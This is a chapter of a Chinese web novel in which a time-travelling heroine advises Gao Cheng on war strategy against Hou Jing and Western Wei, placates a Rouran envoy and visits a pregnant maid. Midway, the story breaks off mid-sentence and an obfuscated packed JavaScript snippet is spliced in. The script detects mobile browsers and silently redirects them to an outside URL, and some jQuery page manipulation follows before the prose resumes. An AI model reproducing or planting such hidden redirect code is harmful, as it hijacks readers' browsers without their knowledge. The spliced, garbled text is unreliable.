长案上,铜锅正咕嘟作响,浓白汤面翻滚着肥美的羊肉、牛肚、冬葵,噗噗地顶着几片黄芽白,吸饱了汤汁的豆腐,胖嘟嘟沉浮着。
锅边一个个青瓷盘,盛着切好的薄鲙、各样肉食蔬菜。
父女俩正说话,暖阁门被推开,是去而复返的高澄,待其坐好,陈扶执起酒壶,为他斟了一杯,又为阿耶斟上。
几口热食下肚,高澄松了松领口,开口道,“刚到的军报,侯景反了。”语气淡得像在说今日的雪色,边说,还边捞起块烂熟的羊肉,放进陈扶的碟子里,“洛州刺史王权,已联络豫州刺史高元成、襄州刺史李密、广州刺史暴显等合力抗之。”
陈扶心中一振。
洛州刺史王权正是当初那长社县令,要知道,历史上其余那几位刺史,可是被侯景诱捕了,也就是说,历史已然因她改变了!
“颍州刺史司马世云应之,侯景已屯兵颍川。”高澄说着,见陈扶碟中羊肉未动,又夹起一块递她嘴边,“趁热吃。”
陈扶回过神,张口接了,细细嚼着。
陈元康看得诚惶诚恐,“世子身份尊贵,这般奉她饮食……不合臣礼呐。”
高澄收回筷子,浑不在意道,“喂口吃食怎么了?”抬手一比,“她这么大时,迎风流涕,都是我擦的,你这做阿耶的,又何曾管过她这些?”
陈元康被这话噎住,忙叨叨夹起片鲙鱼,掩去愧色,转正题道,“世子打算派谁镇压侯景?”
“稚驹,”高澄嘴角向上牵起,“将昨日你写的《平侯景策》《定鼎论》说与你阿耶听听,也让他参详参详。”
“那便先议平侯景之策,”陈扶看向陈元康,“侯景狡黠冠于北镇,寻常之将断不能克,诚如大王遗训,能敌侯景者,唯有慕容绍宗。”
“侯景用兵之法,实出其门下,其深知侯景习性。侯景鲁莽,慕容绍宗却性情极稳,常言道莽克偷、稳克莽,慕容绍宗对他实乃天克。”
陈元康起初还拨弄着锅里,听着听着,抬起眼盯向女儿,夹起的冬葵悬停着。
“但考虑到骤然启用恐难服众,可先派韩轨讨之,不为求胜,只为让众将知晓大王素日所用之将无力相敌,彼时启用绍宗,众将必无异议。”
历史上高澄前后派韩轨、元坦、高岳等人率兵与侯景对敌,全无效果,才启用慕容绍宗。
若能略过元坦、高岳等人,韩轨不敌即用慕容绍宗,必将减少军耗提前取胜,扩大胜势。
“《平侯景谏策》是为眼下谋胜,而《论天下定鼎》,是为长远谋国。”
陈扶指尖蘸了茶水,在案上画出舆图轮廓。高澄挪开那些盘子碗碟,给陈扶空出更大一块案面。
“昔勾践不过雪耻,尚需十年,故而天下定鼎,至少当思三十年事。”指尖移动,水痕蜿蜒,画出山川州郡,“谋国之思当有三,敌友主次,积胜之法,长久之制。”
“先思敌友主次。”轻点关外,“北方柔然、突厥诸部纵有侵扰,却是可借之刀,可联合之友,故而最次。”
移向南方,忽而一笑,一道新的水痕从河南划到建康,“侯景难敌慕容将军后,必会诱骗贼国和南梁相助,他难以取信于宇文泰,终会投南。侯景心大,必想取萧衍而代之,彼时只需乱中取利即可。故而其次。”
“西贼据形胜之地,宇文泰所图者大,武川将领皆枭悍尚武,实为心腹大患。集中国力对抗的,”重重点在关陇,“该是西贼。”
陈元康叹道,“只当我儿侍奉世子笔墨尚算得力,想不到还有此大略。”
高澄虚环着身侧人儿,瞟眼陈元康,“稚驹那策论里,可远非大略,我自昨日得之,数度参详,心中兴奋,竟彻夜难昧,”端起酒杯呷了一口,笑咂一喟,“刘邦得‘汉中对’,刘备得‘隆中对’,而我高澄,原也得了‘晋中对’也。”
听世子竟如此赞之,陈元康心中惊异,叫陈扶细细说来,那策论里,究竟还写了什么。
“那便详说一下,应对各方之策。”陈扶又蘸茶水,圈出突厥位置,“先说北方,稚驹观之,比起柔然,突厥才是日后之强。维护柔然的同时,更该西连突厥,若真能争取到突厥,”指尖自北向西一划,“或可重现当年赵武灵王攻秦之策,与突厥联军,自北而下,从九原或云中南下,穿越河套,攻夏州、灵州,直取咸阳。”
陈元康:“然则该派何人去,方才担得此任?”
“我为大将军推举之人是,和安。”
“和安。”陈元康作为高欢的核心幕僚,自是一点即通,“哈哈,和安机敏善辩,尤善谄媚之术,正合游说草原首领。将他儿子和士开扣在邺城,可保万一,便是他不要儿子,这和安贪图中原享受,断也不会留在蛮荒之地,只盼着建功回来荣华富贵。”
陈扶嗯了一声,“若成,则打开新局;若败,所失不过谄媚之辈,原也没那么可惜。”
高澄盯着那开合的小嘴,笑叹,“我家稚驹真是,”提杯仰面,喉结一滚,将那后句咽了。
“再论南梁。若稚驹所料不错,侯景必乱南梁,两淮可趁乱取之;待萧衍一死,宗室个个鼠辈,萧绎、萧纪等一旦内斗,我们便将战略转为联合,以‘助梁平乱’为名,派遣少量精锐进入蜀地,收买蜀中豪强、民心,散布‘西贼残暴’舆论,并以游击方式襄助南梁宗室。”圈出巴蜀,重重一点,“绝不能让宇文泰吞掉巴蜀。”
“进攻关中的路线,”讲至最要紧之敌,陈扶眉目一沉,“一是方才所言,昔年赵武灵王之北路。二是豫西通道,然三门峡天险,潼关一夫当关。此路后勤补给困难,日后可作佯攻方向,主攻代价过大。”
“重点讲一下第三路,河东道蒲津渡,”瞥眼高澄领口内的孝服,轻叹一声,“现有玉璧坚城阻隔,十万大军已折戟沉沙。未来十年内,此路不通。但稚驹向大将军献了二计。河东最难之处,非在玉璧,而在人心,谋的便也是人心。”
“喔?阿扶所献何计?”
“稚驹为我献得,”高澄拎起执壶,先将陈扶的茶杯注满,再为陈元康斟上,“是离间计与美人计。河东大族如柳、裴、薛等,皆派细作重金收买其族中二号人物,助其上位。开放与河东的盐铁贸易,让其明白,依附邺城比依附长安更有利可图。”
陈元康忙双手举盏,“如此谋之,日后攻打,城内或有内应,或后勤不继。不过,那美人计却是?”
高澄一笑,夹起薄鲙烫了几息,递至陈扶唇边,“让她说罢,原是她派去的‘兵’。”
黄河鲤鱼柔嫩鲜甜,待咽尽了,陈扶才道,“琅琊公主之姊元静仪曾犯死罪,问斩前求见孩儿,自请戴罪立功,伪装成南梁舞姬,去河东以美人计离间韦孝宽副将,她确是最善争宠,又有全家为质,孩儿便求大将军,给了个机会。”
她说话间,高澄叫来刘桃枝,示意添锅。羊脂随着旋起的汤面凝成金圈,本已沉底的羊肉复又上浮。
“对付韦孝宽,常规战场代价太大。构陷和刺杀是效益最高的选择,除了那元静仪,孩儿还谏言大将军,派出精锐刺客,伪装成商旅、流民、僧人,长期潜伏玉璧,伪造韦孝宽与我方密信,并散布谣言,构陷其勾连大魏,离间其与宇文泰。若有时机,亦可直接刺杀之。”
韦孝宽为人多智,善于用间,历史上斛律光被害死,就是因他令间谍在邺散布歌谣。时任北齐宰相的祖珽,与斛律光有私仇,便添枝加叶汇报给当时的北齐后主高纬。
堂堂北齐三杰之一的大将,竟被高纬令刘桃枝拉杀,韦孝宽没费吹灰之力,除掉劲敌。
哼,那便也让他尝尝,胜之不武的滋味。
陈元康点头,“雇佣间谍和刺客看似很贵,其实最省国本,派出去的但凡有一个成了,韦孝宽就得死。这三条进西路线,如此行之,必有可图。”
“还有第四条,”陈扶眯眼一笑,“借道南梁。若能和南梁宗室联合,即可经襄阳、上洛,穿越秦岭武关道,进攻蓝田。”
陈元康啧啧一叹,“阿扶当真是,吃透了孙子所云之上兵伐谋,其次伐交啊。”
“这才哪里,”高澄执起案角青瓷酒壶,为陈元康斟上温酒,“你若听了她的兵改之政,才要叹服,军师谋胜、宰相谋国,我的小小女史,二者竟兼之。”
“?”
“阿耶可知,宇文泰的府兵制与赐汉人将领胡姓,其实是在做什么?”
陈元康敛眉深思,几欲开口,又觉尚没摸到关窍,正暗自沉吟,陈扶看向锅中滚沸,提点道,“饭,不能总分锅吃。”
“啊!”陈元康恍然大悟。
宇文泰邙山大败,士卒损失六万余,而关陇的鲜卑族人数有限,不能再补充军队。因此他开始抽调各地府兵,后又给这些汉人兵将赐鲜卑姓,看似是鲜卑化,实则是麻痹胡人对汉人加入的抵触,调和胡汉,将军权渐收中央。
“我们要做同样的事。”陈扶语气异常之坚,“给巴掌,是一定要补甜枣的,想收权,是一定要像宇文泰一般,给好处的。”
高澄放了箸,接口道:
“稚驹谏言,借平叛侯景之机,以‘六镇精锐,穿插示范,提升全军战力’为名,抽调六镇兵入其他军中,所抽者加饷三成。豪强的私兵部曲,亦抽调部分至六镇兵中,对交出部曲的豪强,给予虚职、爵位或经济补偿。”
“同时从汉人士兵中提拔将领,日常操练,须胡汉兵士协作完成,部分军功改为一人立功,全营受赏。”
“好个温水煮蛙!”陈元康赞道,“胡兵涨了军饷,汉兵得了晋升,豪强拿了利处,实则,胡汉矛盾弥合,兵源徐徐纳入国家,大将军之权收拢也!”
陈扶笑笑,“阿耶所言极是。利之所归,众之所聚。夫功者,共济之业也,故欲建非常之功,必先收天下各势之心。”
尉景有一匹果下马,高澄见之甚爱,便向其索要,那尉景非但不给,还对高欢说:‘土相扶为墙,人相扶为王。一匹马也不让我养,却来索要!’
最后,他不仅没要到,还因那小马,挨了高欢几十杖。
睨着身侧与那心爱小马格外相似的小脸,听着与尉景一般无二之言,高澄心底,似也如这锅汤般滚沸,那果下马没得手,然怀中人却是他的。
他冲陈元康眉梢微挑,分明是在调侃正主:我将你的孩儿养得如何?
陈元康怅然叹笑,那笑着实复杂,对女儿之才的震撼,与有荣焉的自豪,也有生了如此大才,作为父亲却未曾教导过的遗憾,最终,皆化作了对高澄的感佩。
他朝高澄诚挚拱手,“世子,臣唯有感激。阿扶若跟着臣,至多不过学成第二个陈元康,焉能有此吞吐山河之器局?”
陈扶有通读南北朝历史之先见,又多了千年之经验,便是只学学伟人思想,也足够引领战略,何需人雕琢,然她还是漾出个感激笑意,看向高澄,
“阿耶正解。王猛若真跟着桓温南下,又怎能成为功盖诸葛第一人也?”
抬手覆上小臂上搭着的大手,轻轻一握,“大王之所以强攻玉璧,是感岁月不饶,然大将军尚才二十六岁,那宇文泰却将老矣,时间,已然站在大将军这边。”
高澄低笑一声,拿出一方缎面鸳鸯帕子,细细擦拭她沾着茶渍的指尖,“那稚驹便陪着我,将这锅汤细细烹下去。”
-
秃突佳壮硕的身躯堵在案前,一张饱经风沙的脸因怒气泛着红。
“世子!我的话,就像石头一样扔在地上,听不见回响!”
高澄眉头微蹙,指尖在膝上敲了敲,语气尽量平和,“秃突佳,现在不行,再等等。”
“又是这句话!我等不了!草原的雄鹰也等不了!”秃突佳双手重重拍在案上,带起股浓烈膻气,“公主更等不了!你必须立刻让她搬进你的寝殿!”
殿门被轻轻推开。
高澄看向来人,陈扶依旧穿着午前那身杏黄襦裙,只是颈间多了一样东西,一块垂在胸前的青玉牌,雕着繁复的狼首纹。
她走到高澄身侧跪坐,双手交叠身前,那玉牌正好落在她素白的手上,格外显眼。
秃突佳目光钉在那块玉牌上,眯起眼仔细打量,“这……这玉牌……”
陈扶用柔然语道:“是一位来自草原的朋友所赠。”
秃突佳猛地看向陈扶的脸,也换回了柔然语,语气急迫,“朋友?他叫什么名字?”
“叱洛伦。他说,往后奴婢若去塞外,蠕蠕人会请奴婢喝最烈的酒,看最劲的舞!”
“真的是他!真的是叱洛伦?!”秃突佳兴奋极了,“叱洛伦是我最好的阿干!小姑娘,你怎会认识他?他又为何将这贴身的东西给你?”
“几年前在邺城,叱洛伦大人作为蠕蠕使者朝邺,我为他表演了剑舞,他便将这玉牌赠予了我。”
秃突佳重重一拍案几,“阿干喜欢的剑舞?!我也要看!”他转向高澄,“世子!今晚就设宴!我要看她舞剑!让我的儿郎们都看看,叱洛伦阿干赞赏的剑舞是什么样!”
高澄嘴角扯出一个无温度的笑,“既有此雅兴,孤自当安排。”
是夜,清凉殿。
柔然使团的汉子们搂着美伎,酒酣耳热,粗犷的笑语声不绝。宴至中程,乐声一变,从悠扬转为清越激荡。
陈扶手持长剑步入殿中,起势剑影绵密,如溪潺潺,忽而剑势迅猛,如风过林。飘逸身影随鼓点在烛光下翻飞腾挪,衣袂飘扬间,剑光织成银网,乐至高/潮,她一个凌厉旋身,剑尖倏地指向目不转睛的秃突佳,手腕轻巧一翻,剑尖托起美伎手中酒杯,稳稳递至他面前。
“好!”秃突佳霍然起身,接过那酒一饮而尽,抖着虬髯,大声用柔然语对左右吼道,“看到了吗!这是我阿干叱洛伦都称赞的勇士!”
趁此热烈气氛,陈扶收剑而立,对秃突佳笑道:“大人,世子并非不愿娶蠕蠕公主,只是需要时间,让一切合乎情理。大王尚未发丧,公主便已改嫁,岂非让不知情的天下人非议,让公主殿下受屈?叱洛伦大人若在,一定可以理解,真正的雄鹰,不仅懂得追逐,更懂得等待最合适的时机。”
秃突佳抹了把胡子,瓮声瓮气地说:“小丫头,你说得有理。但你要知道,你家世子磨蹭一天,我就晚一天回草原!我早在这晋阳城呆得不耐烦了!”他指着案上两只刚斟满酒的大碗,“不过,看在叱洛伦阿干的份上,你要是把这两碗酒喝了,我便再等等!”
高澄脸色骤沉,“她年纪小,不胜酒力。这酒孤陪你喝!莫说两碗,两坛也奉陪!”
“诶!” 秃突佳大手一摆,“她是叱洛伦的朋友,就是我秃突佳的朋友,是朋友,就得喝!要么她喝酒!要么立马娶公主!否则,我的马队明天就护公主回草原,告诉可汗,你们高家背弃了盟约!”
陈扶双手捧起一只沉甸甸的海碗,将那一大碗辛辣液体尽数灌入喉中,也拦截了高澄开口之机。
之所以秘不发丧,就是要用高欢的余威震慑人心,一旦高澄娶了蠕蠕公主,相当于对外说高欢已死。
胃里顿如火烧,她强忍着不适,在柔然人的叫好声中,又端起第二碗,咕嘟嘟饮尽,放下空碗,对秃突佳展露一个带着酒气的笑,“奴婢现在和大人,可是朋友了?”
秃突佳哈哈大笑,“好!好呐!从今往后,你也是我秃突佳的朋友了!为了朋友,我愿意等!”揽着美人,冲高澄举起硕大银碗,“就依世子,等发丧之后再说!”
宴席散时,已是深夜。
在殿外候着的刘桃枝和甘露忙迎上二人。
看陈扶脸色难看,甘露忙去找了个盂盆,刚伸到她脸前,就“哇”地一声,吐了半盆,甘露手一抖,自己也跟着干呕起来。
待人吐尽了,高澄把个软绵绵的人儿整个托抱起来,那姿势,跟她还只有丁点大时一模一样,可如今她身量早就长了,这么抱着,两个长腿悬在外头,瞧着极别扭。
“不能喝还逞能……”高澄低低斥了一句,一只手在她背后轻轻拍着,像哄夜啼的娃娃。
抱着人走了两步,回头瞥了眼甘露那难受样,转而对刘桃枝吩咐:“找个医官给她看看。”
进了寝殿,高澄把陈扶放在他那张宽大的榻上。
宫人端来温水,他接过递到她嘴边,“漱漱口,别咽了。”
她醉得迷糊,勉强漱了漱,又瘫软下去。醒酒汤送来,他哄着笑着,一勺一勺地喂,好容易填进去了,她又皱着眉哼哼:“……臭……要沐浴……”
高澄低头在她发顶嗅了嗅,哼笑一声,“哪儿臭了?是香泽的味儿。”又凑到颈间闻了闻,“恩,是有点汗味。”说着,接过宫人递上的热巾子,给她细细地擦。
她还不依,扭着身子非要下去。
高澄也不擦了,巾子一扔,搂着她倒在榻上,长靴一捋一踢,像她小时候无数个午后一样,拉过锦被将两人盖住,让她枕着自己胳膊,另只手有一下没一下地拍着她。
“睡吧,睡吧。”
怀里人起初还不安分地动了动,许是这熟悉的怀抱让她安心,没多久,就抓着他胸前那片衣襟合上了眼。
陈扶的意识从一片混沌中挣脱,但仍沉甸甸的,像是隔着一层毛琉璃。发现自己被高澄圈在怀里,还枕着他胳膊,一瞬恍惚,许是醉意让她懒得动弹,终是没有挣开。
高澄察觉到她动静,低头看她,“醒了?难受么?”
怀里人仰着脸,醉眼迷蒙地瞧着他,看了好一会儿,忽然轻轻笑了一下,那笑容说不清道不明。
“大将军……”她慢悠悠地说,“……可真会照顾人。”
这话听起来像是称赞,但搭配上她的神情和语调,分明裹着层薄薄的刺。
她在清醒时,绝不会用这种语气跟他说话。
他哼笑一声,盯看她道,“是啊,就只这么照顾过你。便是我那几个亲妹,也没这般待遇。”
陈扶听了,却只是又笑了一下,把半张脸埋进他胸前的衣料里,闷闷的声音传出来,“呵……谁信呢。”
高澄被她这句噎住,看着那埋在自己怀里、拒绝再交流的后脑勺,一时竟不知该气还是该笑。他想扳过她的脸让她说清楚,为何不信?可看着她难得显露的依赖姿态,心头那点不悦又化成了柔意。
最终只是收紧了手臂,低声道:“没良心的小东西……”
几天后一个午后,陈扶正整理河南军报,高澄翻着一卷文书,轻咳一声,“哦,对了,那个甘露……往后就别让她在你跟前伺候了。”
“为何?”
高澄放下文书,拿起茶杯,掩住飘忽地眼神,“她如今身子不便了,需要静养。”
陈扶这才停下手,看向他,“身子不便?她病了吗?”
“不是病……是,她有了身孕。”他停顿了一下,观察陈扶的反应。见她困惑望着他,显然在等一个合理的解释,心中那点尴尬更盛,“这个……你年纪尚小,本不该与你说这些。但既然说起……你可知,男女之间,若……若气息交融,口津相渡,便是……便是阴阳交汇之始,有可能凝聚胎气,孕育子嗣。咳,我与她……恩。”
终于说毕,高澄心下一松,用‘亲’作为解释,显然比同房清白许多、也更容易让小孩子理解。
陈扶脸上浮现出惊讶,随即化为一种受教的认真,轻轻点头,“原来如此。竟是……这般缘故。”她垂下眼睫,语气温顺,“稚驹受教了。”
见她如此‘信服’,刚松的心又是一紧,一种警觉涌了上来。他目光锁住陈扶,尤其在她的唇瓣上停留了一瞬,摆出一副严肃的表情,“此事关乎女子名节,绝非儿戏!你记住,方才所言之事,在明媒正娶之前,绝对、绝对不可与任何男子尝试!半分念头都不许有!听到没有?”
陈扶抬起眼,微微偏头,纯然求教:“为何甘露可以呢?”
“……”
看他脸上竟罕见地浮出一丝红晕,陈扶轻笑一声,“稚驹明白了!定是因为大将军心怀仁厚,见她孤苦,特意施恩,助她后半生有靠,是也不是?就像……就像医者治病救人一样!”她说着,还用力点了点头,一副‘我懂了,大将军真是大好人’的表情。
高澄被她这突如其来的转折弄得一愣,随即反应过来,紧绷的心弦猛地一松,顺着台阶就下,“你明白就好,她毕竟是你身边得力之人,性子也算温顺。我总不能……置之不理。既有了身孕,便安排在别院静养,也全了你主仆之情,显得我们不是刻薄人家。”
“大将军思虑周全,是甘露的福气。”
-
窗棂外,杨柳已抽出浓绿新条,暖风带着泥土草木之气卷入殿中,却吹不散满屋的燥气。
七八位将领毫无所忌地围着主位上的高澄,正吵得面红耳赤。
“世子!”一满脸虬髯的将领拍着大腿,“那侯景老贼为何造反?还不是被崔暹那厮往死里逼的!韩轨去打,不也吃了瘪?依我看,把崔暹的脑袋砍了,给侯景送去,这事儿准能平!”
他话音未落,旁边一精瘦的立声附和:“说得对!杀一个崔暹,换来河南安宁,这买卖划算!”
“就是!崔暹平日里眼睛长在头顶上,老子早就看他不顺眼了!”
“杀崔暹,谢天下!”
厅内顿时一片嗡嗡声,如同炸开了锅。
高澄转着指间小戒,脸上没什么表情,仿佛满堂争吵,与他并无关系。
陈元康从角落凑前,扬声压住嘈杂,“诸位!此言差矣!昔日汉景帝听信袁盎之言,诛杀晁错,欲息七国之怒。然则,吴楚之兵可曾因此退去?非但没有,反而气焰更张!今若杀崔暹,与昔日杀晁错何异?不过是让忠义之士寒心,令跋扈之徒快意罢了!”
他刚说完,一直跪坐在高澄侧后方、安静煮茶的陈扶,将一杯刚煎好的茶轻放在高澄面前。抬起眼扫过众将,肃声道,“陈将军所言,乃是至理。以斗争求和平,和平存,以妥协求和平,和平亡,能胜方可和,能守方可盟!”*
高澄端起茶,慢条斯理地抿了一口,目光落在一直沉默的慕容绍宗身上。
“慕容将军,那侯景放言,除大王外,当世再无可制他者,蔑称韩轨为‘啖猪肠小儿’,将军对此有何高见?”
慕容绍宗应声出列,抱拳道:“回世子,此乃贼酋狂悖之语。河南四战之地,连年受战,田地荒芜,就算打不过他,断了他粮草,困也困死了他,又有何惧?!”
高澄‘恩’了一声,“那便劳公走一趟,去告诉他……”凤目骤然锐利,“大王虽逝,能制他之人,尚在!”
慕容绍宗慨然道:“臣,愿为世子,为社稷,擒此贼!”
“好!”高澄长身而起,袖袍一挥,“你只管前去!我即刻便要往邺城,届时上表朝廷,拜你为尚书左仆射!此战,许胜不许败!”扫回众将,方才还叫嚷不休的几人,无人再敢与他对视。
众将鱼贯而出,殿内一时空寂。
高澄揉了揉眉心,刚想对陈元康说些什么,却见殿门边,一颗小脑袋鬼鬼祟祟探了进来,用鲜卑语小声喊着高澄的小名:“子惠阿兄……”
是高湛。
“步落稽,你又来做什么?”
高湛笑嘻嘻溜进来,眼睛直往陈扶身上瞟,“我来找稚驹姊姊,她说好今日教我握槊的。”
高澄故意板起脸,“你都多大了?整日就知道玩!你看看你六兄,不是读书,便是在家家跟前侍奉,何曾像你这般闲散?自己玩也罢了,还要占着我的人?”
高湛扯住高澄袖子摇晃,“我的功课都做完啦~阿兄~就让她陪我去嘛~”
高澄被他缠得无法,思及陈扶连日劳神,也确实该松快松快,便挥挥手,“去吧去吧。”
高湛欢呼一声,拉起抿嘴轻笑的陈扶就往外走。穿过几重殿门,只剩两人后,高湛松了手,像只脱缰的马驹,快走几步,又转过身来,倒着走,一双亮晶晶的眼睛盯着陈扶。
“稚驹姊姊,你方才在里面,说话的样子真厉害!”他学着陈扶的语气,却学不像,“‘以斗争求和平,和平存’……那些大胡子将军听得发愣,都不吭声了!”
陈扶唇角微弯,“我不过引用罢了,而说此言者,确是世间最厉害之人物。”
高湛凑近些,“虽然你很厉害,然我今日握槊定能赢你!我可是偷练了好久!”
到了他的小书斋,设好棋枰,两人对坐,高湛迫不及待地发起进攻,手法确比起月前凌厉了不少。陈扶不疾不徐地应对,偶尔会在他落下关键一子时,轻轻“咦”一声,露出惊讶。
这声惊讶让高湛更加得意,下巴微微扬起,像只开了屏的小孔雀。他下得更快,嘴里还不停,“稚驹姊姊,你看我这步怎么样?阿兄总说我只知道玩,可他不知道,握槊也要动脑筋的!就像你刚才在殿上动脑筋一样!”
陈扶拈着一枚棋,“大将军也是望长广公成材。”
“我知道,”高湛撇撇嘴,小声嘟囔,“可我也没不成材啊……诶,这步不算,我重下!”
他眼见要失子,忙要伸手悔棋。
陈扶却已先一步将他的棋子按定,抬眸看他,“落子无悔,步落稽,这可是规矩。”
高湛看看她按在棋上的手,又看看她带着笑意的眼睛,乖乖收回手,只是嘀咕了一句,“稚驹姊姊心好狠。”最终仍是输了,仍如三月来每次那般,揪着棋局的一处关键,缠着陈扶讲解半天。
晋阳城东南隅一处三进宅院,白墙青瓦,门庭不显,院内却收拾得极干净,几株石榴树正开着火红的花,却静得有些过分,只闻偶尔鸟鸣。
陈扶带着一挎着药箱的侍婢,由苍头奴引着,悄步走入内室。
“可是大将军来了?”
帘幔后传来一个带着惊喜与急切的女子声音,话音未落,陈扶已走了进去。
看清来人,她眼中光亮迅速黯淡,又转为愧色,“仙主。”
甘露身着质地良好的锦衫,腹部已隆,脸上丰润了些。陈扶笑笑,目光一转,落在她刚放下的绣绷上——那是一块极柔软的素色细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724502|185337||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棉布,上面用彩线绣着憨态可掬的虎头图案,针脚细密均匀,栩栩如生。旁边的针线筐里,还放着几件已做好的小肚兜、虎头鞋,无一不精致。
“手艺愈发精进了。”
甘露顺着她的目光看去,脸上露出丝母性的柔和,又被落寞覆盖。“整日无事,也只能靠这些打发时间。”
“身子可还好?”
“好,都好。”甘露手抚上微隆小腹,“医官五日一来,吃的用的,宫人都挑最好的按时送来。”她说着,声音渐低了下去,“就是……太静了。静得发慌。”
她眼里带着迷茫,“仙主从前与我说,跟了他,最好的结局,便是在一处安静院落里,教子度日。这算不算是……熬出头了?有了这孩子,下半辈子,吃穿不愁了。”
“安心养着,找些趣事爱好来做,至于其他,多想无益。”
甘露眼圈微微发红,扯出一个比哭还难看的笑,“是,奴婢能怀上,已是天大的运气,不敢再奢求别的了。”她声音更低了,带着认命的凄然,“大将军他……怕是早已忘了这处门朝哪开了,头两个月还来过两回,这都一个多月了,影子也不见……”
陈扶无法回答,总不能告之,高欢已故,高澄没了避忌,身边已有了新人,亦不好许她空头之希望。
她想了想,在她的绣样筐里细翻了翻,拿起一方帕子,宝蓝色的锦缎上,金银线绣出的海东青振翅欲飞,羽翼锐利,是高澄所喜之风物,她将帕子纳入袖中,“我替你带给他。”
甘露怔怔地点了点头,陈扶留下些补身的药材,又嘱咐了侍婢几句,便起身离开了。
晋阳宫内
陈扶将一盏新茶置于高澄手边,从袖中取出那方帕子,“甘露近日闲着,绣了不少物件。这个是她新做的,托我带给大将军,”指尖在那鹰隼上一点,“她说……大将军正如这海东青,目光如炬,明见万里。如今虽暂栖晋阳,终有一日必当凌霄直上,令天下俯首。”
高澄目光从文书上抬起,看着帕子上神采飞扬的雄鹰,忽想起正月时,曾对陈扶随口夸过一句海东青,难为甘露在旁,竟记下了。当初因她那帕子上绣了一对活灵活现的鸳鸯,还让他多看了她几眼,再一细想,却想不起那方鸳鸯帕子搁在哪了。
“大将军若得空,便去坐片刻,看看她为孩儿准备的小衣小鞋,她心情若佳,对腹中孩儿原也是好的。”
他‘嗯’了一声,看回文书,“过两日得空便去。”
陈扶无声一叹。
她尽力了,她能帮甘露争取利益,却无法帮她留住人心。
高澄批完手里那本,撂下笔,向隐囊一靠,见陈扶静立一旁,眉眼清寂,恍然出神,忽想起一事,脸上倦意一扫而空,泛起生动的神采。
“走,带你出去走走。”
陈扶微微一怔,“现在?那这些文书……”
“回来再看吧,文书安有批完的时候。”他站起身,活动了一下肩颈,拉着她朝殿外走,语气里满是兴致,“待段韶一来晋阳,便要出巡各州、朝邺,这一去不知几时能回。”
出了宫门,他回过头看她,“某人去年生辰时,不是说晋阳是‘梦中故乡’么?来了这小半年,净圈在宫墙里了。今日正好,带你去认认‘家门’。”
最后一句带上了调侃笑意,笑她小女孩家不着边际的梦话,也笑自己对这梦话记得分明。
马蹄嘚嘚,一路向东。
高澄屏退左右,令亲卫远远跟着,只二人共乘一骑,聊着笑着,在起伏的草甸上漫行,颇有偷得浮生半日闲的惬意。
“晋朝名臣刘琨扩建晋阳城,因城墙长达十三公里,也叫展筑城。晋阳控带山河,地势险要,易守难攻,城墙又长又高,所以刘琨才能扛那么久。”
“还有呢?”
“自尔朱荣把大本营霸府设在了晋阳城,遥控洛阳,晋阳便有了国都之实。”
“还真是个小晋阳通,”高澄侧头看怀里人,“不过,你的梦中之家,怎么不在城里,倒在这东边城外地界儿上?”俯身凑近她耳畔,假意威胁道,“说,谁告诉你高家苑囿在此的?”
“高家苑囿?”
“恩,你不是听了苑囿在此,才来的么?”说着,汾水之畔,东郊林木丰茂之处,显出一圈高高栅栏,极目一眺,能望见苑中丛林。
“这儿是大王狩猎避暑之地。”
他催马近前,卫兵忙执军礼,深入苑囿,但见林木之间梅花鹿、麋鹿的身影倏忽而过,野兔、狐狸在灌木中穿梭。
“不带你往更深处去了,里头圈着豹子,华北虎,今秋还要放养黑熊进去,待到冬日落雪,我带你出猎,再好好瞧瞧。”
转路而行,花草渐丰,风景绝佳处,散落着亭台楼阁,苑丞、典囿署令等陆续来见,圉师、兽师、卫兵、仆役,更是不知见了多少。
“大将军,你对徐颖有印象么?他字显秀,现下应是个参军,他有一枚嵌蓝宝石金戒指,上刻有持矛与盾的小人。”
“徐显秀啊,为何问起他?连他有何戒指都知……难道说,”他声音压低,带着笑,“你私下在此处,会过他?”
陈扶瞥他一眼。
她前世的家就在这个方位,古汾河河道比后世的偏西,她寻摸了半天才定到方位,结果是高家苑囿。
之所以问徐显秀,是因她前世的家挨着的北齐壁画博物馆,乃是依托徐显秀墓所建,她见过他的戒指展出,有此一问,不过触地生情。
看她不欲作答,高澄直起身,也不再问,将马引至一处高坡,“既来了,便与我做个参谋。”他抬手一指,“那里,要引汾水支流,造一片曲沼,植满白莲,可养白鹅,池边筑个草堂。你觉得堂内,是种红枫好,还是种棠梨,更合此间野趣?”
“枫赤梨白,各具风骨。若论野趣,枫叶经霜似火,宜对酒横琴;棠梨春深积雪,合煎茶清谈;亦可梨下弈棋,枫里试剑。大将军若欲四季得景,不如东植丹枫,秋来可醉霜天;西种棠梨,春深坐看飞雪。待得池畔风来,枫声梨香,如梦似幻。”
“妙极!好个‘剑气惊红雨,棋声碎玉英’。便依稚驹所言,让赤霞白雪各占一隅。来日堂成,我们便来此对酒横琴,煎茶清谈,对弈比剑。”高澄兴致愈浓,又扬鞭一指,“那边坡上,起一座高台,要比铜雀台更高……”
……
正谈着风花雪月,一圉师捧着一只雏鹰上前,低声禀报。
二人下马,高澄示意圉师将雏鹰递至陈扶面前,“这批里性子最野的,你若不怕它挠人,便交由你养,名字也由你取。”
那猛禽虽未长成,琥珀色眼珠却已凝着凶光,铁灰色的喙微微张开,发出威胁的嘶鸣。她伸出手指,在离它半寸处虚虚拂过,感受着它茸毛下紧绷的敌意。
“稚驹连自己难养,怎敢耽误它。”她收回手,“这般烈性,既不服驯,不如打开金笼,还它一方天地吧。”
高澄闻言低笑,轻轻掸掉她袖间沾上的茸毛,“恩,前句着实有理,喂你确比喂它要难。”他迅疾出手,猛地攥住雏鹰利爪,任它扑棱着撞着金丝笼,“不过,后句便错了。既已到了我手里,要么学会低头啄食,要么——就给我饿死。”
陈扶眉头一蹙,转头望向西边山峦,“既出来了,带稚驹一并去看了天龙山石窟,可好?”
“好呀,不过去之前,再去个地方。”
是苑囿里的跑马场。
